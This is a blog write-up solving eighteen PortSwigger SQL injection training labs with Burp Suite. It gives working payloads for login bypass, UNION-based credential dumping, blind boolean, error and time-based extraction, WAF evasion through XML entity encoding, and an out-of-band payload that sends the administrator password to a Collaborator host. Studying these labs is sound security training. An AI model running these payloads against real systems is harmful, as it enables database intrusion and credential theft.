Post

PortSwigger - SQL Injection vulnerabilities labs

PortSwigger Web Security Academy - SQL Injection vulnerabilities labs

PortSwigger - SQL Injection vulnerabilities labs

PortSwigger – SQL Injection Vulnerabilities Labs


LAB 1 — SQL Injection Vulnerability in WHERE Clause Allowing Retrieval of Hidden Data

Level: APPRENTICE

alt text

Analysis

  
VulnerabilitySQL injection vulnerability
Goalcauses the application to display one or more unreleased products
Key ConceptInjecting a tautology (OR 1=1) into the WHERE clause turns the entire condition true for every row, bypassing the intended filter and dumping hidden/unreleased data.

Steps

1) Start the lab and open Burp, then go to any category: alt text

2) Go to the Burp history, grab the request, and send it to Repeater:

alt text

3) Inject ' after pets and get an internal server error: alt text

4) Assume the underlying query looks like:

1
SELECT * FROM products WHERE category = 'PETS'

5) The application takes our category value directly, so we can change it to:

1
SELECT * FROM products WHERE category = 'incorrect category' OR 1=1--

This sends a condition with OR, meaning if one side is true, the whole condition evaluates to true.

6) Send this in Burp (URL-encoded) → SOLVED: alt text


LAB 2 — SQL Injection Vulnerability Allowing Login Bypass

Level: APPRENTICE

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the login function
Goallog in to the application as the administrator user
Key ConceptCommenting out the rest of the query (--) after supplying a known username removes the password check entirely, letting the query evaluate to true regardless of the password sent.

Steps

1) Start the lab and Burp, then send the login request:

alt text

2) Check if it’s vulnerable — add ' after the username and get an internal server error: alt text

3) Assume the query looks like:

1
SELECT user FROM users WHERE username = 'administrator' and password = 'password'

4) Add -- after the username to comment out the rest of the query:

1
SELECT user FROM users WHERE username = 'administrator'-- and password = 'password'

5) This lets us log in without a password. Use administrator'-- as the username and any dummy password → redirected to the admin page → SOLVED:

alt text

alt text


LAB 3 — SQL Injection Attack, Querying the Database Type and Version on Oracle

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goaldisplay the database version string
Key ConceptOracle requires every SELECT to reference a table, so UNION queries against Oracle must use the built-in DUAL table. The version string is pulled from the v$version system view.

Steps

1) Start the lab and Burp, go to any category, select the request from HTTP history, and send it to Repeater: alt text

2) Check if it’s vulnerable by adding ' after pets — get an internal server error: alt text

3) Assume the query is:

1
SELECT * FROM products WHERE category='pets'

4) Since this is an Oracle database, use a UNION-based attack to read the database version.

5) The UNION query:

1
SELECT * FROM products WHERE category='pets' UNION SELECT NULL,NULL FROM DUAL --

(NULL,NULL checks whether the column count is 2 — necessary before extracting real data via UNION.)

6) Try UNION SELECT NULL,NULL FROM DUAL -- in Burp — it works, confirming 2 columns:

alt text

7) Get the version:

1
' UNION SELECT BANNER, NULL FROM v$version--

SOLVED:

alt text

Final query:

1
SELECT * FROM products WHERE category='pets' UNION SELECT BANNER, NULL FROM v$version --

LAB 4 — SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goaldisplay the database version string
Key ConceptMySQL/MSSQL comment syntax (# or -- ) differs from Oracle, and neither engine requires a FROM clause for a literal SELECT, so the version can be fetched directly with @@version.

Steps

1) Start the lab and Burp, go to any category, select the request from HTTP history, and send it to Repeater: alt text

2) Check if it’s vulnerable by adding ' after pets — get an internal server error:

alt text

3) Assume the query is:

1
SELECT * FROM products WHERE category = 'Accessories'

4) The lab description indicates this is UNION-based, so verify the column count. After some trial and error, the comment character here is #, not --.

One column (fails):

1
SELECT * FROM products WHERE category = 'Accessories' UNION SELECT null#

alt text

Two columns (works):

1
SELECT * FROM products WHERE category = 'Accessories' UNION SELECT null,null#

alt text

Confirmed — 2 columns.

5) Inject a function that returns the database version, @@versionSolved:

1
SELECT * FROM products WHERE category = 'Accessories' UNION SELECT @@version,null#

alt text


LAB 5 — SQL Injection Attack, Listing the Database Contents on Non-Oracle Databases

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goallog in as the administrator user
Key ConceptThe information_schema metadata tables (tables, columns) let an attacker enumerate unknown table/column names before pulling the actual credential data out through the same UNION channel.

Steps

1) Start the lab and Burp, go to any category, select the request from HTTP history, and send it to Repeater.

2) Validate the vulnerability by adding ' after the category — get an internal server error:

alt text

3) Assume the query is:

1
SELECT * FROM products WHERE category = 'gifts'--

4) The lab description indicates UNION-based, so verify the column count:

One column (fails):

1
SELECT * FROM products WHERE category = 'gifts' UNION SELECT null--

alt text

Two columns (works):

1
SELECT * FROM products WHERE category = 'gifts' UNION SELECT null,null--

alt text

Confirmed — 2 columns:

1
SELECT * FROM products WHERE category = 'gifts' UNION SELECT NULL,NULL--

5) Enumerate the database to extract the administrator password. First, get all tables:

1
' UNION SELECT table_name,NULL FROM information_schema.tables--

alt text

(For the following steps, click “show response in browser” to see full results.)

6) With all table names available, the relevant one is users_vwztwe. Enumerate its columns:

1
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_vwztwe'--

alt text

7) Two columns found — username_ykovru and password_ybdatc. Retrieve their content:

1
' UNION SELECT username_ykovru,password_ybdatc FROM users_vwztwe--

alt text

8) Log in with administrator / x5y6cia4o9jc0fh2roihSOLVED:

alt text


LAB 6 — SQL Injection Attack, Listing the Database Contents on Oracle

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goallog in as the administrator user
Key ConceptOracle has no information_schema. Table/column names must instead be enumerated from Oracle’s own data dictionary views, all_tables and all_tab_columns, and every UNION SELECT still needs FROM DUAL.

Steps

1) Start the lab and Burp, make a request for a category like gifts, intercept it, and send to Repeater:

alt text

2) Check the vulnerability by adding ' after Gifts — internal server error:

alt text

3) Since the lab description confirms Oracle, assume the query is:

1
SELECT * FROM products WHERE category='gifts'

The syntax breaks with the injected ' after gifts.

4) Use a UNION attack — first determine the column count:

One column (fails, uses DUAL since it’s Oracle):

1
' UNION SELECT null FROM DUAL--

alt text

Two columns (works):

1
' UNION SELECT null,null FROM DUAL--

alt text

5) Get table names to find admin credentials:

1
' UNION SELECT table_name,null FROM all_tables--

(click “show response in browser” to view all tables) alt text

6) Found table USERS_HSOHVE:

alt text

7) Retrieve its columns:

1
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_HSOHVE'--

Two columns found — username and password: alt text

8) Retrieve all usernames and passwords:

1
Gifts' UNION SELECT USERNAME_EXJTIW,PASSWORD_RUEYYM FROM USERS_HSOHVE--

alt text

9) Log in with the administrator’s credentials → SOLVED: alt text


LAB 7 — SQL Injection UNION Attack, Determining the Number of Columns Returned by the Query

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goaldetermine the number of columns returned by the original query
Key ConceptIncrementally adding NULL placeholders (or using ORDER BY n) until the injected UNION SELECT stops erroring reveals the exact column count needed before any data can be extracted.

Steps

1) Start the lab and Burp, make a request for a category like gifts, intercept, and send to Repeater: alt text

2) Check the vulnerability by adding ' after gifts — internal server error: alt text

3) Assume the query is:

1
SELECT * FROM products WHERE category='gifts'

4) Use UNION-based injection to determine the column count:

One column (fails):

1
' UNION SELECT null--

alt text

Two columns (fails):

1
' UNION SELECT null,null--

alt text

Three columns (works) → SOLVED:

1
' UNION SELECT null,null,null--

alt text


LAB 8 — SQL Injection UNION Attack, Finding a Column Containing Text

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goalidentify which column of the query’s output is suitable for retrieving string data
Key ConceptSwapping each NULL in the UNION SELECT for a string literal, one column at a time, shows which position accepts a varchar-type value without a database type-mismatch error — that’s the column usable for text extraction.

Steps

1) Start the lab and Burp, make a request for a category like gifts, intercept, and send to Repeater: alt text

2) Verify the vulnerability with ' after gifts — internal server error: alt text

3) Determine the column count via UNION-based SQLi — it’s three:

1
' UNION SELECT null,null,null--

alt text

4) Determine which column accepts text by replacing each NULL with a string one at a time.

Replace the first NULL — fails with internal server error:

1
' UNION SELECT 'sdf',null,null--

alt text

Replace the second NULL — works:

1
' UNION SELECT null,'sdf',null--

alt text

5) To solve the lab, make the app return d7uROL: alt text

6) Add this string in column 2 → SOLVED: alt text


LAB 9 — SQL Injection UNION Attack, Retrieving Data from Other Tables

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goalretrieve the contents of the users table
Key ConceptOnce the column count and the text-compatible column are known, the same UNION SELECT can target any other table (e.g. users) instead of the original one, pulling out arbitrary data such as usernames and passwords.

Steps

1) Start the lab and Burp, make a request for a category like gifts, intercept, and send to Repeater:

alt text

2) Verify the vulnerability with ' after gifts — internal server error: alt text

3) Determine the column count:

One column (fails):

1
' UNION SELECT null--

alt text

Two columns (works): alt text

4) Enumerate the database and find a table named users: alt text

5) Enumerate its columns:

1
' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--

alt text

6) Retrieve data from those columns:

1
' UNION SELECT username,password FROM users--

All usernames and passwords retrieved:

alt text

7) Log in with administrator and the retrieved password → SOLVED: alt text


LAB 10 — SQL Injection UNION Attack, Retrieving Multiple Values in a Single Column

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection vulnerability in the product category filter
Goalretrieve multiple values (e.g. username and password) via a single-column UNION
Key ConceptWhen only one text-friendly column is available, concatenating several values together with a separator (e.g. username || '~' || password) packs multiple pieces of data into that single column.

Steps

1) Start the lab and Burp, make a request for a category like gifts, intercept, and send to Repeater: alt text

2) Verify the vulnerability with ' after gifts — internal server error: alt text

3) Use UNION-based SQLi to determine the column count — it’s 2:

1
' UNION SELECT null,null--

alt text

4) Retrieve table names from information_schema:

First attempt — retrieving names in the first column fails:

1
' UNION SELECT table_name,null FROM information_schema.tables--

alt text

Second attempt — retrieving in the second column works, and reveals a table named users: alt text

5) Get the column names:

1
' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name='users'--

Found username and password columns: alt text

6) The problem: we need 2 values (username + password) but only have 1 usable column. One option is retrieving usernames first, then brute-forcing passwords — but there’s a cleaner approach.

7) Concatenate both values with a separator using ||:

1
' UNION SELECT NULL,username||'~'||password FROM users--

alt text

8) All usernames and passwords retrieved. Log in as administrator → SOLVED: alt text


LAB 11 — Blind SQL Injection with Conditional Responses

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilityBlind SQL injection vulnerability in a tracking cookie
Goalinfer sensitive data (e.g. a password character by character) with no visible query output
Key ConceptBoolean-based blind injection: injecting a condition that is sometimes true and sometimes false (e.g. via a subquery in an AND clause) and observing which condition produces a different page response (like a “Welcome back” banner) lets data be inferred one character at a time.

Steps

/assets/labs/ffffff/image 1) Start the lab and Burp, intercept the request, and send to Repeater:

alt text

2) Notice the TrackingId cookie and a “Welcome back” message — this message appears when the session has been previously stored in the database:

alt text

3) Add ' to the TrackingId — the “Welcome back” message disappears, and it stays gone with additional quotes too:

alt text

4) Inject an AND operator, which requires both conditions to be true for the overall result to be true:

1
' AND '1'='1'--

This is correct, and the “Welcome back” message reappears:

alt text

5) Make the injected AND condition false — the message disappears again:

1
' AND '1'='2'--

alt text

6) The lab description reveals the table name users, so retrieve the first user with an AND condition.

7) Start with:

1
' AND (SELECT 'a' FROM users LIMIT 1)='a

This checks whether the first username starts with a — correct:

alt text

8) Try administrator directly — correct:

1
' AND (SELECT 'a' FROM users WHERE username='administrator')='a

alt text

9) Get the password length using LENGTH():

1
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Works:

alt text

10) Fuzz the password length with Intruder, from 1 to 30 — right-click → Send to Intruder: alt text

11) Set the target to the number after >, payload range 1–30: alt text

12) Search responses for “Welcome back” — payloads 0 through 19 return the message, meaning 20 is the true password length: alt text

13) Verify by changing > to = with value 20 — confirmed: alt text

14) Retrieve the password value using SUBSTRING(string,start,length):

1
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

This means: is character 1 of the administrator’s password equal to a?

15) The lab hint says the password is all lowercase. Use a cluster bomb attack in Intruder. First position is the character index, 1 to 20:

1
2
3
4
5
1
2
3
...
20

alt text

16) Second position is the character guess — lowercase letters and digits (0–9):

alt text

17) Start the attack.

18) Filter all responses containing “Welcome back”: alt text

19) With all 20 positions and their matching character, reconstruct the password:

alt text

1
2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
9 3 e 3 u l 8 c u t  6  6  3  6  p  5  x  1  w  c

20) Log in with administrator and the reconstructed password → SOLVED: alt text


LAB 12 — Blind SQL Injection with Conditional Errors

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilityBlind SQL injection vulnerability in the TrackingId cookie
Goalextract the administrator password character by character
Key ConceptTrigger a conditional database error (divide-by-zero) only when the condition is true, turning the error page into a true/false oracle.

Steps

1) Start the lab and Burp. Browse to the home page and intercept the request containing the TrackingId cookie. Send it to Repeater.

alt text

2) Test basic injection: change the cookie to TrackingId=xyz' → a custom error page appears.

alt text

3) Change it to TrackingId=xyz'' → the error disappears. This confirms the injection point.

alt text

4) Test a conditional error (Oracle database):

1
   ' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a'--

→ Error appears (true condition).

alt text

5) Test the false condition: change 1=1 to 1=2 → no error.

alt text

6) Confirm the users table and an administrator user exist using the same technique:

1
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

alt text

7) Find the password length by fuzzing LENGTH(password)>N with Intruder (or manually, 1 to 30):

1
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

alt text

Every payload displays an error except at value 20: alt text

8) Extract each character using a cluster bomb attack in Intruder:

1
   ' AND (SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a'--

9) Use Burp Intruder (Cluster Bomb) with positions for the character index and possible characters (a–z, 0–9).

alt text

10) Apply a filter on the word internal server error:

alt text

11) Reconstruct the password:

alt text

1
2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
q h a z 9 t  v b v a  q  1  j  v  h  y  c  t  1  w

12) Log in as administratorSOLVED.

alt text


LAB 13 — Visible Error-Based SQL Injection

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection with verbose error messages
Goalleak the administrator password directly from error output
Key ConceptForce a type casting error (CAST AS int) so the database includes the leaked data inside the error message.

Steps

1) Start the lab, open Burp Suite, and browse any page with Intercept enabled. Locate the TrackingId cookie sent with the request — this value is typically stored and used in a backend SQL query, making it a potential injection point. Send the request to Repeater.

alt text

2) Confirm the vulnerability by appending a single quote to the cookie value:

1
TrackingId=xyz'

A verbose error appears, showing SQL query details — confirming the injection point.

alt text

3) Test a controlled type-casting error to confirm control over the leaked content:

1
' AND 1=CAST((SELECT 'test') AS int)--

SELECT 'test' returns the string "test", and CAST(... AS int) fails to convert it to an integer — so the error message shows the value "test" that failed conversion. This confirms we can make any value we choose appear inside the error output.

alt text

4) Leak the username by swapping the literal for a subquery:

1
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

The database executes SELECT username FROM users LIMIT 1, returns administrator, then fails to cast it — so the error message displays it in full.

Result: the error reveals administrator.

alt text

5) Leak the password using the same technique:

1
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

alt text

6) The password appears clearly in the error message.

alt text

7) Log in with the leaked credentials (administrator + leaked password) → SOLVED.

alt text


LAB 14 — Blind SQL Injection with Time Delays

Level: PRACTITIONER

Analysis

  
VulnerabilityBlind SQL injection (no output, no errors)
Goalconfirm injection by causing a noticeable time delay
Key ConceptUse pg_sleep() (PostgreSQL) to delay the response only when the injected condition succeeds.

Steps

1) Intercept any request containing the TrackingId cookie and send to Repeater.

alt text

2) Test basic syntax: try ' then '' — no error in either case. alt text alt text

3) Inject a simple delay:

1
'||pg_sleep(10)--

The response is delayed by ~10 seconds, confirming the injection point and that it reaches a PostgreSQL backend.

alt text

4) Injection confirmed → SOLVED.


LAB 15 — Blind SQL Injection with Time Delays and Information Retrieval

Level: PRACTITIONER

Analysis

  
VulnerabilityTime-based blind SQL injection
Goalextract the full administrator password using timing
Key ConceptConditional pg_sleep() calls, one per character guess: the response is deliberately slowed only when the guessed character is correct, turning response time into a true/false oracle.

Steps

1) Intercept the TrackingId request → Repeater.

alt text

2) Confirm time-based injection works (as in Lab 14):

1
'||pg_sleep(10)--

alt text

3) Verify the administrator user exists (; URL-encoded to %3b):

1
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

alt text

4) Find the password length by fuzzing LENGTH(password)>N from 1 to 30.

alt text

5) Running the attack with Intruder produces a delayed response at every value except 20 — confirming the password length is 20.

alt text

6) Confirm by changing > to = with value 20 — the response comes back immediately as expected:

alt text

7) Automate character extraction with Burp Intruder (positions for the character index and payloads a-z0-9):

1
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

alt text

8) The logic: make the app sleep 10 seconds when the guessed character is correct, and sleep 0 seconds otherwise:

1
'; SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--

9) Run this attack via Burp Intruder with a few important settings:

a) Send the request to Intruder with the payload from step 8: alt text

b) Mark the guessed character (a) as the payload position: alt text

c) Add payloads covering a–z and 0–9: alt text

d) Time-based attacks need requests sent one at a time — go to the resource pool and set max concurrent requests to 1: alt text

10) Start the attack — the correct character is the one whose response takes ~10000ms:

alt text

11) This confirms the first character is 4. Change the target index to 2 and repeat: alt text

12) Start the attack again — for position 2 the correct character is f: alt text

Repeat this process for all 20 positions to get the full password:

1
4fg8r74xh6k7ub7gjmdw

13) Log in with administrator / 4fg8r74xh6k7ub7gjmdwSOLVED.

alt text


LAB 16 — Blind SQL Injection with Out-of-Band Interaction

Level: PRACTITIONER

Analysis

  
VulnerabilityFully blind SQLi (no response difference, no timing signal, no visible error)
Goalconfirm the vulnerability via an out-of-band channel
Key ConceptForce the database to make a DNS/HTTP request to Burp Collaborator, proving the injection executes even when nothing changes in the HTTP response.

Steps

1) Go to Burp → Collaborator client → copy the unique Collaborator domain.

alt text

2) Intercept the TrackingId request.

alt text

3) Use an OOB payload adapted from the SQLi cheat sheet (Oracle, via XXE-style external entity in EXTRACTVALUE):

1
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://<COLLABORATOR-ID>.oastify.com"> %remote;]>'),'/l') FROM dual--

alt text

(check the cheat sheet for equivalent payloads on other database engines)

4) Go back to Collaborator and check for a DNS or HTTP interaction. alt text

5) Interaction received → SOLVED. alt text


LAB 17 — Blind SQL Injection with Out-of-Band Data Exfiltration

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilityFully blind SQLi
Goalexfiltrate the actual administrator password via OOB
Key ConceptEmbed the leaked data directly inside the DNS subdomain sent to Collaborator, so the value shows up in the interaction log without needing any visible response difference.

Steps

1) Start Collaborator and copy the domain.

alt text

2) Craft the exfiltration payload (Oracle), embedding the subquery result into the Collaborator hostname:

1
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.<COLLABORATOR-ID>.oastify.com/"> %remote;]>'),'/l') FROM dual--

alt text

3) Send the request.

4) Check Collaborator interactions — the leaked password appears as part of the requested subdomain.

alt text

5) Use the extracted password to log in as administrator → SOLVED.

alt text


LAB 18 — SQL Injection with Filter Bypass via XML Encoding

Level: PRACTITIONER

alt text

Analysis

  
VulnerabilitySQL injection in the storeId XML parameter, protected by a WAF that blocks common SQLi keywords
Goalretrieve usernames and passwords from the users table
Key ConceptThe WAF inspects the raw request for SQLi keywords, but XML entity encoding (&#x...;) is decoded by the XML parser after the WAF check — letting an encoded payload slip through and still be interpreted as valid SQL server-side.

Steps

1) Identify the Injection Point

Notice that the stock check feature sends productId and storeId to the server as an XML body. Intercept the POST /product/stock request in Burp and send it to Repeater.

2) Confirm the Input Is Evaluated

Test whether storeId is processed rather than treated as a static value, by injecting a math expression:

1
<storeId>1+1</storeId>

If the response returns stock for a different store (e.g. store 2), this confirms the value is evaluated server-side — a strong signal of injectable behavior.

alt text

3) Determine the Number of Columns

Try a standard UNION-based probe:

1
<storeId>1 UNION SELECT NULL</storeId>

Instead of a SQL error or normal response, the request gets blocked outright — indicating a WAF sitting in front of the application, flagging the payload based on recognizable SQLi keywords/patterns.

alt text


Bypass the WAF

4) Encode the Payload

Since the injection point is inside XML, use XML entity encoding to obfuscate the payload so the WAF’s pattern matching doesn’t recognize it as SQL syntax. This can be done manually or via the Hackvertor Burp extension:

  • Highlight the payload → right-click → Extensions > Hackvertor > Encode > dec_entities / hex_entities

alt text

alt text

The WAF inspects the request before XML parsing, so it only sees encoded entities (e.g. &#x55;&#x4e;&#x49;&#x4f;&#x4e;...) — meaningless to a keyword filter. The backend XML parser decodes these entities back into real characters before the value reaches the SQL query, so the database still receives valid SQL.

5) Resend and Confirm the Bypass

Resend the encoded request. A normal application response (instead of a block page) confirms the WAF has been bypassed.

alt text


Craft the Exploit

6) Determine Column Count

Continue probing with UNION SELECT. Returning more than one column produces an error (0 units), telling us the original query returns exactly one column.

alt text

alt text

7) Concatenate Username and Password

Since only one column is available, concatenate both values with a separator, then encode the whole payload with Hackvertor:

1
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>

alt text

8) Extract Credentials

Send the request. The response returns all usernames and passwords, separated by ~.

alt text

9) Log In

Use the administrator credentials extracted from the response to log in → SOLVED.

alt text


Finished — Happy Hacking!


Find me online:


This post is licensed under CC BY 4.0 by the author.